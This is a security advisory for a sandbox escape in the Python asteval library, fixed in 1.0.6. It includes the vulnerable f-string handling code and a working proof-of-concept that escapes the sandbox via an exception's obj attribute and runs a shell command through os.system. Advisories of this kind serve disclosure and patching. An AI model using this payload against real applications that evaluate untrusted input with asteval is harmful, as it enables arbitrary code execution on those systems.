High

ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape

  • Disclosed: 24.01.2025
  • Updated: 11.10.2026 13:19

Summary

If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

Details

The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:

python
    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
        "formatting used in f-strings"
        val = self.run(node.value)
        fstring_converters = {115: str, 114: repr, 97: ascii}
        if node.conversion in fstring_converters:
            val = fstring_converters[node.conversion](val)
        fmt = '{__fstring__}'
        if node.format_spec is not None:
            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
        return fmt.format(__fstring__=val)

The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

python
from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) asteval < 1.0.6 1.0.6

References

CVSS score 8.4/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-134, CWE-749
Platform
Python (PyPI)
Package
asteval
Disclosed
24.01.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1195 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-3wwr-3g9f-9gc7 - CC BY 4.0

Vulnerability history: asteval

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
01.2025 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 2

Disclosures per year

  1. 2025: 2
  2. 2026: 2
  1. Medium · 5.0 CVE-2026-55244 < 1.0.9 1.0.9
  2. ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape this entry
    High · 8.4 CVE-2025-24359 < 1.0.6 1.0.6

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